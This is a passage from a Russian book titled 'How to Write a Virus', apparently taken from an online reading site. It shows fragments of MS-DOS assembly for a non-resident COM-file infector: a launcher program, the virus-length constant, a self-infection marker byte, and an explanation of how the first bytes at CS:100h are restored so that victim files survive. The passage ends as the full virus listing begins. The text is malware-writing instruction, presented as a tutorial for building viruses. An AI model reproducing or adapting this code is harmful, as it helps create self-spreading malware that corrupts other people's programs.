"Игорь Коваль. Как написать вирус" - читать интересную книгу автора

vir_len equ $-vir ;Длина вирусного
;кода ...

prg_end: mov ah,4ch ;Завершение за-
INT 21H ;пускающей прог-
;раммы ...

db '7' ;Без этого сим-
;вола вирус за-
;разил бы сам
;себя ...

prg ends ;Все ASM - прог-
end start ;раммы заканчи-
;ваются примерно
;так .

Вы, наверное, заметили,что в запускающей программе
при восстановлении первых трех байт по адресу CS :
100h записывается команда перехода на метку " prg_
end ".После передачи управления на эту метку вирус
отдает управление MS DOS . Если бы в самом начале
нашего вируса не было команды "jmp vir" (см.1.6),
то запись по адресу CS : 100h перехода на метку
" prg_end " разрушила бы команды

push ax
mov ax,ds

( см.1.6 ).В результате в заражаемый файл попал бы
вирусный код с испорченными первыми байтами . Это
наверняка привело бы к полной неработоспособности
файла - жертвы .В нашем же случае будет разрушена
лишь команда " jmp vir " .Поскольку в файл она не
записывается, нас это не интересует .


1.18 Текст нерезидентного COM - вируса

Как видите, вирус написан, и пора привести его
текст.Этим мы сейчас и займемся :

; ________________________________________________
;| |
;| Non - TSR COM virus |
;| Especially for my readers ! |
;|________________________________________________|

prg segment
assume cs:prg,ds:prg,es:prg,ss:prg